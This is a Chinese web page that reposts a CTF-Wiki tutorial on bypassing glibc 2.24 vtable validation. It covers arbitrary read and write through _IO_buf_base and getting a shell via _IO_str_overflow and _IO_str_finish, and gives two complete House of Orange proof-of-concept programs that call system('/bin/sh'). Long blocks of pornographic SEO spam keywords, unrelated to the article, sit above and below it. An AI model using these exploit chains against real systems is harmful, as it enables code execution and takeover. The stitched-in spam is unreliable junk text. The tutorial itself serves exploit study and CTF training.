色五月色开心色婷婷色丁香,五月婷婷丁香花综合网,婷婷丁香五月激情综合在线,五月婷婷六月丁香动漫,婷婷丁香五月激情综合在线,丁香花中文字幕在线观看,播五月色五月开心五月网,开心激情综合网,狠狠色丁香婷婷综合最新地址,丁香视频在线观看,狠狠做六月爱婷婷综合av,久久激情五月丁香伊人

ARTICLE DETAIL

資訊詳情

深耕商務建站與企業(yè)官網(wǎng)運營的一線實戰(zhàn)洞察。

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區(qū)劫持與 `_IO_str_jumps` 實戰(zhàn)

CTF-Wiki:glibc 2.24 下 IO_FILE 利用進階——vtable 校驗、緩衝區(qū)劫持與 `_IO_str_jumps` 實戰(zhàn) 文檔網(wǎng)絡安全教程【免費下載鏈接】ctf-wikiCome and join us, we need you!項目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki點擊查看免費下載本文基於 CTF-Wiki 的 glibc 2.24 下 IO_FILE 的利用 一文展開系統(tǒng)梳理 glibc 2.24 新增的 vtable 合法性校驗機制IO_validate_vtable/_IO_vtable_check以及校驗引入後誕生的三類新型利用手法透過_IO_buf_base/_IO_buf_end實現(xiàn)任意讀寫、借助_IO_str_jumps的overflow與finish兩個函數(shù)完成 getshell。讀者讀完可掌握在 libc 2.242.27 時期針對_IO_FILE的完整攻擊鏈設計思路並能直接複現(xiàn)文中提供的可調(diào)試樣例。背景為什麼 glibc 2.24 之後「偽造 vtable」變難了在 glibc 2.24 之前的版本如 2.23針對_IO_FILE_plus的 vtable 劫持是檔案流攻擊的主流手法要麼直接改寫 vtable 中的函數(shù)指針要麼把 vtable 指針改指向我們可控的內(nèi)存並在其中佈置函數(shù)指針詳見 偽造 vtable 劫持程序流程。glibc 2.24 為了遏制這類攻擊在呼叫虛函數(shù)如overflow、xsputn、finish等之前新增了一道 vtable 地址合法性檢查??炻窂絀O_validate_vtableglibc 在libio/vtables.c中引入IO_validate_vtable內(nèi)聯(lián)函數(shù)核心邏輯是判斷 vtable 指針是否落在__libc_IO_vtables段內(nèi)/* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr (uintptr_t) vtable; uintptr_t offset ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }校驗過程可以拆解為三步計算section_length __stop___libc_IO_vtables - __start___libc_IO_vtables即__libc_IO_vtables段的總長度計算offset vtable - __start___libc_IO_vtables若offset section_length即 vtable 不在合法段內(nèi)呼叫慢路徑_IO_vtable_check()做進一步判斷。慢路徑_IO_vtable_checkvoid attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) atomic_load_relaxed (IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag _IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook ! NULL || (_dl_addr (_IO_vtable_check, di, l, NULL) ! 0 l-l_ns ! LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen ! NULL) return; #endif __libc_fatal (Fatal error: glibc detected an invalid stdio handle\n); }慢路徑允許 vtable 通過的例外情況僅限於幾種「兼容場景」動態(tài)連結(jié)下若IO_accept_foreign_vtables這個兼容標誌被設置且經(jīng)過PTR_DEMANGLE後等於_IO_vtable_check自身當前 libc 拷貝位於非默認命名空間l-l_ns ! LM_ID_BASE因為 FILE 對象可能跨連結(jié)邊界傳遞靜態(tài)連結(jié)場景下若__dlopen ! NULL靜態(tài) dlopen 無法校驗。其餘情況一律呼叫__libc_fatal輸出Fatal error: glibc detected an invalid stdio handle並觸發(fā) abort。換句話說只要 vtable 不是位於__libc_IO_vtables段內(nèi)、又不滿足上述兼容例外程序就會直接終止。這使得以往「把 vtable 指向堆上偽造內(nèi)存」的利用方式基本被封死。新的利用思路從 vtable 轉(zhuǎn)向_IO_FILE內(nèi)部欄位vtable 這條路難走之後利用者的注意力自然轉(zhuǎn)向了_IO_FILE結(jié)構(gòu)體本身的數(shù)據(jù)域?;仡?FILE 結(jié)構(gòu) 中的定義64 位元偏移見註釋struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ // 0x00 /* The following pointers correspond to the C streambuf protocol. */ char* _IO_read_ptr; /* Current read pointer */ // 0x08 char* _IO_read_end; /* End of get area. */ // 0x10 char* _IO_read_base; /* Start of putbackget area. */ // 0x18 char* _IO_write_base; /* Start of put area. */ // 0x20 char* _IO_write_ptr; /* Current put pointer. */ // 0x28 char* _IO_write_end; /* End of put area. */ // 0x30 char* _IO_buf_base; /* Start of reserve area. */ // 0x38 char* _IO_buf_end; /* End of reserve area. */ // 0x40 /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ // 0x48 char *_IO_backup_base; /* Pointer to first valid character of backup area */ // 0x50 char *_IO_save_end; /* Pointer to end of non-current get area. */ // 0x58 struct _IO_marker *_markers; // 0x60 struct _IO_FILE *_chain; // 0x68 int _fileno; // 0x70 int _flags2; // 0x74 _IO_off_t _old_offset; /* This used to be _offset but its too small. */ // 0x78 };_IO_FILE在使用標準 I/O 庫時會被建立並維護上述信息其中_IO_write_base_IO_write_end表示寫入?yún)^(qū)域_IO_read_ptr_IO_read_end表示讀取區(qū)域而_IO_buf_base表示緩衝操作的起始地址、_IO_buf_end表示結(jié)束地址。這些欄位正是fwrite、fread、scanf、printf等函數(shù)在讀寫數(shù)據(jù)時實際使用的地址——只要控制了它們就能實現(xiàn)任意地址寫或任意地址讀。這裡有一個對利用者非常有利的事實進程啟動時系統(tǒng)默認存在三個文件流stdin、stdout、stderr它們位於 libc.so 的數(shù)據(jù)段對應符號_IO_2_1_stdin_、_IO_2_1_stdout_、_IO_2_1_stderr_因此即使程序中沒有任何顯式的文件操作沒有fopen、fwrite只要程序中存在scanf/printf同樣可以觸發(fā)對這些預設流結(jié)構(gòu)的處理並完成利用。實戰(zhàn)一透過_IO_buf_base/_IO_buf_end實現(xiàn)任意讀寫觀察scanf對_IO_2_1_stdin_的影響先看一個最簡單的樣例程序觀察標準輸入流在第一次使用前後的變化#include stdio.h char buf[100]; int main() { char stack_buf[100]; scanf(%s,stack_buf); scanf(%s,stack_buf); }首次使用stdin之前_IO_2_1_stdin_的內(nèi)容除_flags與_fileno外幾乎全為空0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0 vtable注意最後一個 8 位元組0x7ffff7dd06e0就是_IO_FILE_plus的vtable 指針偏移 0xd8。呼叫scanf之後_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等欄位都被初始化0x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x0000000000602410 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 _IO_2_1_stdin_80: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 _IO_2_1_stdin_96: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 _IO_2_1_stdin_112: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 _IO_2_1_stdin_128: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 _IO_2_1_stdin_144: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 _IO_2_1_stdin_160: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 _IO_2_1_stdin_176: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 _IO_2_1_stdin_192: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 _IO_2_1_stdin_208: 0x0000000000000000 0x00007ffff7dd06e0對照結(jié)構(gòu)定義初始化後各欄位與偏移的對應關係如下偏移欄位初始化後的值0x00_flags0xfbad22880x08_IO_read_ptr0x6020130x10_IO_read_end0x6020140x18_IO_read_base0x6020100x20_IO_write_base0x6020100x28_IO_write_ptr0x6020100x30_IO_write_end0x6020100x38_IO_buf_base0x6020100x40_IO_buf_end0x6024100xd8vtable0x7ffff7dd06e0進一步思考可以發(fā)現(xiàn)stdin 的緩衝區(qū)其實是在堆上分配的。從程序的內(nèi)存映射可以看出堆基址是0x602000因為在此之前沒有其他堆分配所以緩衝區(qū)首地址正好是0x602010Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]分配的堆大小為0x400位元組正好對應_IO_buf_base0x602010到_IO_buf_end0x602410的區(qū)間。寫入數(shù)據(jù)後可以看到緩衝區(qū)中存在我們寫入的內(nèi)容之後才被複製到目標棧緩衝區(qū)0x602000: 0x0000000000000000 0x0000000000000411 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 緩衝數(shù)據(jù) 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000修改_IO_buf_base/_IO_buf_end實現(xiàn)任意寫既然scanf的讀入數(shù)據(jù)會寫入_IO_buf_base指向的位置那麼只要把_IO_buf_base與_IO_buf_end改成我們想要的目標地址下一次scanf就會把數(shù)據(jù)寫到任意位置。例如把這兩個欄位改成全局緩衝區(qū)buf地址0x7ffff7dd27400x7ffff7dd18e0 _IO_2_1_stdin_: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 _IO_2_1_stdin_16: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 _IO_2_1_stdin_32: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 _IO_2_1_stdin_48: 0x0000000000602010 0x00007ffff7dd2740 _IO_buf_base 0x7ffff7dd1920 _IO_2_1_stdin_64: 0x00007ffff7dd27c0 0x0000000000000000 _IO_buf_end之後scanf讀入的數(shù)據(jù)就會寫入0x7ffff7dd2740位置0x7ffff7dd2740 buf: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 buffer: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 buffer: 0x0000000000000000 0x0000000000000000由此可見只要具備對_IO_2_1_stdin_或任意目標流的_IO_FILE結(jié)構(gòu)的讀寫能力配合一次scanf即可完成一次任意地址寫。同理控制_IO_read_ptr/_IO_read_end等讀取欄位並配合printf/fread也可實現(xiàn)任意地址讀。這種思路不需要碰 vtable完全繞開了 glibc 2.24 的 vtable 校驗。實戰(zhàn)二_IO_str_jumps-overflow除了默認的_IO_file_jumpslibc 中還存在另一個 vtable_IO_str_jumps。關鍵在於_IO_str_jumps位於__libc_IO_vtables段內(nèi)其定義帶有l(wèi)ibio_vtable屬性因此在 glibc 2.24 的校驗中可以被正常通過——這正是繞過 vtable 校驗的切入點const struct _IO_jump_t _IO_str_jumps libio_vtable { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };如果我們能把文件指針的 vtable 設置為_IO_str_jumps就能呼叫到一組不同的檔案操作函數(shù)。以_IO_str_overflow為例其源碼如下int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only c EOF; _IO_size_t pos; if (fp-_flags _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp-_flags _IO_TIED_PUT_GET) !(fp-_flags _IO_CURRENTLY_PUTTING)) { fp-_flags | _IO_CURRENTLY_PUTTING; fp-_IO_write_ptr fp-_IO_read_ptr; fp-_IO_read_ptr fp-_IO_read_end; } pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (_IO_size_t) (_IO_blen (fp) flush_only))// should in { if (fp-_flags _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf fp-_IO_buf_base; size_t old_blen _IO_blen (fp); _IO_size_t new_size 2 * old_blen 100; if (new_size old_blen)//pass 一般會通過 return EOF; new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);//target [fp0xe0] if (new_buf NULL) { /* __ferror(fp) 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)-_s._free_buffer) (old_buf); /* Make sure _IO_setb wont try to delete _IO_buf_base. */ fp-_IO_buf_base NULL; } memset (new_buf old_blen, \0, new_size - old_blen); _IO_setb (fp, new_buf, new_buf new_size, 1); fp-_IO_read_base new_buf (fp-_IO_read_base - old_buf); fp-_IO_read_ptr new_buf (fp-_IO_read_ptr - old_buf); fp-_IO_read_end new_buf (fp-_IO_read_end - old_buf); fp-_IO_write_ptr new_buf (fp-_IO_write_ptr - old_buf); fp-_IO_write_base new_buf; fp-_IO_write_end fp-_IO_buf_end; } } if (!flush_only) *fp-_IO_write_ptr (unsigned char) c; if (fp-_IO_write_ptr fp-_IO_read_end) fp-_IO_read_end fp-_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)劫持點分析_IO_str_overflow中真正能劫持程序流程的是這一行new_buf (char *) (*((_IO_strfile *) fp)-_s._allocate_buffer) (new_size);_IO_strfile結(jié)構(gòu)在_IO_FILE_plus含 vtable之後緊跟_IO_strfields其中_allocate_buffer位於fp 0xe0即 vtable 偏移 0xd8 之後的第一個 8 位元組槽位。也就是說只要fp 0xe0指向的函數(shù)指針可控就能以new_size為參數(shù)呼叫任意函數(shù)。再配合new_size 2 * old_blen 100 2 * (_IO_buf_end - _IO_buf_base) 100這個公式若令_IO_buf_base 0、_IO_buf_end (binsh_addr - 100) / 2則new_size恰好等於/bin/sh字符串的地址呼叫system時參數(shù)正好是/bin/sh。需要 bypass 的條件要進入_allocate_buffer呼叫分支需要滿足以下條件fp-_flags _IO_NO_WRITES為假pos fp-_IO_write_ptr - fp-_IO_write_base fp-_IO_buf_end - fp-_IO_buf_base flush_onlyflush_only在c EOF時為 1fp-_flags _IO_USER_BUF0x01為假否則直接返回 EOF不會進入擴充分支new_size 2 * (_IO_buf_end - _IO_buf_base) 100不能為負數(shù)new_size應指向/bin/sh字符串對應的地址fp 0xe0指向system地址。構(gòu)造佈局滿足上述條件的典型構(gòu)造如下64 位元_flags 0 _IO_write_base 0 _IO_write_ptr (binsh_in_libc_addr - 100) / 2 1 _IO_buf_end (binsh_in_libc_addr - 100) / 2 _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_jumps - 0x18其中vtable _IO_str_jumps - 0x18是關鍵技巧overflow在_IO_jump_t中位於第 4 項偏移 0x18把 vtable 指針寫成_IO_str_jumps - 0x18既保證了「vtable 0x18」精確落在_IO_str_jumps的overflow槽位呼叫到合法的_IO_str_overflow又讓整體指針仍位於__libc_IO_vtables段附近、可通過IO_validate_vtable的快路徑校驗。_freeres_list、_freeres_buf、_mode的設置是為了讓後續(xù)的 abort / exit 清理流程不會在別處崩潰。完整示例改編自 how2heap 的 House of Orange#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack // top[0] ~1; // top[0] ~8; top[0] 0; top[4] 0; // write_base top[5] ((size_t)binsh_in_libc-100)/2 1; // write_ptr top[7] 0; // buf_base top[8] top[5] - 1; // buf_end // house_of_orange conditions top[1] 0x61; top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] (size_t) winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }配合 House of Orange 中介紹的 unsorted bin attack可以把_IO_list_all改寫為指向偽造的_IO_FILE即top所在內(nèi)存。觸發(fā)malloc(10)後unsorted bin 中殘留的舊 top chunk 會被切割進程走完後續(xù)流程時對偽造_IO_FILE的處理會命中_IO_str_overflow最終winner(/bin/sh)即system(/bin/sh)完成 getshell。其中top[27]對應 vtable 欄位偏移 0xd8top[28]對應_allocate_buffer偏移 0xe0。House of Pig 中的典型應用House of Pig 是將Tcache Stash Unlink Attack與 FSOP 結(jié)合的攻擊適用於 libc 2.31 及以後、程序中僅有calloc的場景詳見 House of Pig其核心觸發(fā)函數(shù)正是_IO_str_overflow?;仡檁IO_str_overflow中滿足下列條件時會執(zhí)行的代碼段pos fp-_IO_write_ptr - fp-_IO_write_base; if (pos (size_t) (_IO_blen (fp) flush_only))一旦條件成立會先後執(zhí)行三個操作size_t old_blen _IO_blen (fp); // #define _IO_blen (fp) ((fp)-_IO_buf_end - (fp)-_IO_buf_base) new_buf malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf);偽造_IO_FILE並把 vtable 劫持為_IO_str_jumps再通過一次 large bin attack 就可以輕鬆滿足上述三個語句的執(zhí)行條件更關鍵的是這三個語句中的new_size、old_buf、old_blen全部是我們可控的因此這個函數(shù)可以一口氣完成三步呼叫malloc實現(xiàn)從 tcache 中分配 chunk把先前放入的__free_hookfake chunk 申請出來呼叫memcpy將一段可控長度、可控內(nèi)容的內(nèi)存段拷貝到 malloc 得到的 chunk 中可藉此把__free_hook修改為system呼叫free參數(shù)為內(nèi)存段起始地址/bin/sh\x00觸發(fā)system(/bin/sh)getshell。也就是說只要構(gòu)造得當執(zhí)行一次_IO_str_overflow即可 getshell。House of Pig 的完整利用腳本含 fake_IO_FILE佈局與 large bin attack 的兩次使用可以在 House of Pig 一節(jié)中查看。實戰(zhàn)三_IO_str_jumps-finish_IO_str_finish的原理與_IO_str_overflow類似都是利用_IO_strfile擴展區(qū)域中的函數(shù)指針完成劫持。其源碼如下void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp-_IO_buf_base !(fp-_flags _IO_USER_BUF)) (((_IO_strfile *) fp)-_s._free_buffer) (fp-_IO_buf_base); //[fp0xe8] fp-_IO_buf_base NULL; _IO_default_finish (fp, 0); }劫持點與條件劫持點是_free_buffer位於fp 0xe8呼叫時以fp-_IO_buf_base為參數(shù)。需要滿足的條件_IO_buf_base不為空_flags _IO_USER_BUF0x01為假。構(gòu)造佈局_flags (binsh_in_libc 0x10) ~1 _IO_buf_base binsh_addr _freeres_list 0x2 _freeres_buf 0x3 _mode -1 vtable _IO_str_finish - 0x18 fp0xe8 - system_addr完整示例同樣是改編自 how2heap House of Orange 的代碼可以自己動手調(diào)試#include stdio.h #include stdlib.h #include string.h int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 malloc(0x400-16); top (size_t *) ( (char *) p1 0x400 - 16); top[1] 0xc01; p2 malloc(0x1000); io_list_all top[2] 0x9a8; top[3] io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] /bin/sh\x00; // we can found /bin/sh in libc, here i create it in stack top[0] ((size_t) binsh_in_libc 0x10) ~1; top[7] ((size_t)binsh_in_libc); // buf_base // house_of_orange conditions top[1] 0x61; top[5] 0x1 ; //_IO_write_ptr top[20] (size_t) top[18]; top[21] 2; top[22] 3; top[24] -1; top[27] (size_t) stdin - 0x33f0 - 0x18; top[29] (size_t) winner; top[30] (size_t) top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; }注意此例中top[29]對應_free_buffer偏移 0xe8而_flags被設置為(binsh_in_libc 0x10) ~1目的是在滿足_IO_USER_BUF為假的前提下讓_free_buffer的參數(shù)_IO_buf_base保持為/bin/sh地址。finish函數(shù)通常在進程退出清理fclose/exit流程時被呼叫。觸發(fā)機制補充FSOP 與_IO_flush_all_lockp上面兩類_IO_str_jumps攻擊都需要讓程序?qū)卧斓腳IO_FILE執(zhí)行一次「刷新」或「關閉」操作才能觸發(fā)對應的 vtable 函數(shù)。這正是 FSOP 的應用場景所有_IO_FILE通過_chain域組成鏈表鏈表頭由全局變量_IO_list_all維護FSOP 的核心就是劫持_IO_list_all指向偽造的_IO_FILE然後藉助_IO_flush_all_lockp對鏈表中的每個 FILE 執(zhí)行fflush操作對應呼叫 vtable 中的_IO_overflow。_IO_flush_all_lockp並不需要攻擊者手動呼叫在以下三種情況會被系統(tǒng)自動觸發(fā)libc 執(zhí)行 abort 流程時執(zhí)行exit函數(shù)時執(zhí)行流從main函數(shù)返回時。如上圖所示當 glibc 檢測到內(nèi)存損壞例如malloc_printerr進入 abort 流程時_IO_flush_all_lockp會沿_IO_list_all鏈表遍歷並透過JUMP_FIELD(_IO_overflow_t, __overflow)呼叫每個 FILE 的overflow——這正是偽造的 vtable 指向_IO_str_overflow後能被自動觸發(fā)的底層鏈路。House of Orange 示例中最後的malloc(10)之所以能引爆整條鏈就是因為大 chunk 申請觸發(fā)了錯誤路徑並最終進入上述 abort 清理流程。總結(jié)與延伸閱讀glibc 2.24 的 vtable 校驗機制本質(zhì)上是把「vtable 指針必須指向合法段」作為新的邊界但這並沒有終結(jié) IO_FILE 攻擊而是把攻擊面推向了_IO_FILE結(jié)構(gòu)本身與合法 vtable 內(nèi)部的「危險函數(shù)」不碰 vtable 的思路直接控制_IO_buf_base/_IO_buf_end等緩衝區(qū)欄位配合scanf/printf完成任意讀寫利用合法 vtable 的思路把 vtable 指針偽裝成_IO_str_jumps - 0x18讓呼叫落在_IO_str_overflow或_IO_str_finish上藉助_IO_strfile擴展區(qū)域中可控的_allocate_bufferfp0xe0/_free_bufferfp0xe8完成 RCE觸發(fā)方式_IO_str_overflow的三段式malloc → memcpy → free甚至可以配合 tcache / large bin attack 直接改寫__free_hook完成 getshell。相關的基礎知識與完整利用案例可繼續(xù)閱讀本倉庫的以下章節(jié)FILE 結(jié)構(gòu)_IO_FILE/_IO_FILE_plus結(jié)構(gòu)與fread、fwrite、fopen、fclose的底層呼叫鏈偽造 vtable 劫持程序流程glibc 2.23 時代的 vtable 劫持手法與 2018 HCTF the_end 實戰(zhàn)FSOP_IO_list_all偽造與_IO_flush_all_lockp觸發(fā)機制House of Orange無 free 情況下獲得 unsorted bin 的基礎堆技巧House of Pig_IO_str_overflow在 libc 2.31 下的完整利用流程與腳本。贊分享文檔網(wǎng)絡安全教程【免費下載鏈接】ctf-wikiCome and join us, we need you!項目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki點擊查看免費下載相關推薦Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平臺安裝實戰(zhàn)Starship 進階安裝完全指南Chocolatey、Termux、Funtoo 與 Nix 平臺安裝實戰(zhàn) Starship 是一款以 Rust 撰寫、適用CLI開發(fā)工具用 FastGPT 從零搭建智能采購系統(tǒng)供應商評估、動態(tài)比價與價格預警實操教程用 FastGPT 從零搭建智能采購系統(tǒng)供應商評估、動態(tài)比價與價格預警實操教程 某個周三上午采購專員小林收到三家供應商發(fā)來的同一批物料的報價格式各不相同文檔網(wǎng)絡安全教程PAR Technology 開發(fā)者門戶遷移實戰(zhàn)Scalar 如何支撐一個基于 OpenAPI 與 docs-as-code 的企業(yè)級 API 平臺PAR Technology 開發(fā)者門戶遷移實戰(zhàn)Scalar 如何支撐一個基于 OpenAPI 與 docs as code 的企業(yè)級 API 平臺 本文以文檔網(wǎng)絡安全教程上一篇Sigma File Manager終極下載指南從網(wǎng)絡視頻到本地存儲的完整流程下一篇零代碼打造真實世界用Arnis在Minecraft中重建你的城市夢想創(chuàng)作聲明:本文部分內(nèi)容由AI輔助生成(AIGC),僅供參考
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
天天欧美色| 日韩综合97p| 人妻另类 专区 欧美 制服| Av色五月| 无码人妻精品一区二区中文| 青青草在线视频播放器| 一区久久久二区| 亚洲AV性爱电影| 久久春色| 欧美在线综合| 日夜久久久九九九久| 成人性爱全视频观看| 综合久久9| 久操| 九九九热精品| 2025亚洲男人天堂| 97啪啪| 中日韩一区二区三区欧美| 日本东京热大香蕉a片| 国产精品激情久久久久久久| av网站免费看| 久久久偷拍| 人妻免费观看| 啪啪视频mP4| 国产女生在线| 欧美αv.com| 爱爱动态60秒| 国产一区二区三区视频在线看| 91狠狠色丁香婷婷综合久久| 美女上床网站| 国产乱伦亚洲色图高清无码| 色妺妺AⅤ| 天天热精品| 97综合国产精品高潮久久| 另类在线| 粉嫩av在线一区二区| 欧美高清18A片| 久久久涩| 男人久久天堂| www.av家庭乱伦| 大香蕉92| 九九九九九九免费视频| 黑人综合色| 日韩78m视频| 成人夜夜爽| 精品一区二区综合熟妇| 大香蕉操久久| 日本天天吊| 人妻熟女一区在| 九九探花视频在线观看| 欧美丰满熟妇XXXX性ppX人交| 蜜乳中文字幕a在线| 久久妇| 五月花婷婷| 日本三级日本三级99| 亚洲高清无码在线桃色| 日本熟妇一区二区三区| 精品久久久久,69国产成人精| 日本操逼二区| 国产67194| 日韩成人性爱电影在线播放| 无码自拍SM| 欧美婷婷| 国产一区二区三区中文字幕| 曰韩少妇无码| 97干在线视频| 亚川综合视频| 超碰人妻在线| 国产久久一区二区午夜| 五月婷婷综合激情| 欧美嗯啊……在线观看视频免费| 人妻人妻天天碰| 亚洲一区制服诱惑| 少妇熟女视频一二三区| 91美女小视频| 国产亚洲性生活视频播放| 日韩亚洲中文有码视频| 亚洲无套久久嗯嗯| 龙兴卡官方查询| 熟妇高潮二区三区| 久久超碰97| 亚洲婷婷丁香在线| 午夜无遮挡男女啪啪视频| 国产精品久久久久中文字幕| 影音先锋国产精品| 久久綜合很很很| 亚洲一二三四区在线免费看视频| 97无码视频在线播放| 免费自拍三级综合| 无遮挡猛进视频免费无限观看 | 午夜理论片在线观看免费| 久操婷婷| 97一区二区三区视频| 99精品综合久久久久五月天| 性久久久| 欧美亚洲国内自拍| 乱老熟女一区二区三区| 91精品少妇搡搡搡| 97在线免费观看视频| 亚洲小电影免费涩涩成人在线高清| 3p国产色噜噜一区| 欧美性,亚州色| 91精品少妇搡搡搡| 最新av中文字幕高清| 亚洲一区二区三区不卡国产欧美| 25国产精品免费观看| 亚洲老司机123专区| 亚洲高清欧美总合| 首页中文字幕中文字幕免费| 久久婷婷六月综合| 99黄页网站| 欧美黑人极品高潮喷吹熟女黑人性暴力日韩在线欧美极品一区二区老师黑人潮喷一 | 99国产精品免费| 久久有码视频| 亚洲97久久精品亚洲| 你操综合| 亚洲第一男人天堂| 丰满人妻一区二区三区四区| 操久久久久久| 大香蕉淫人| 99久久综合网| 超碰吊日色| av在线免费一区二区| 日本在线激情一区二区三区| 日本天天干天天日一区| 中文字幕精品一区欧美| 久久超碰亚洲人| 超碰97亚洲| 人人爱操| 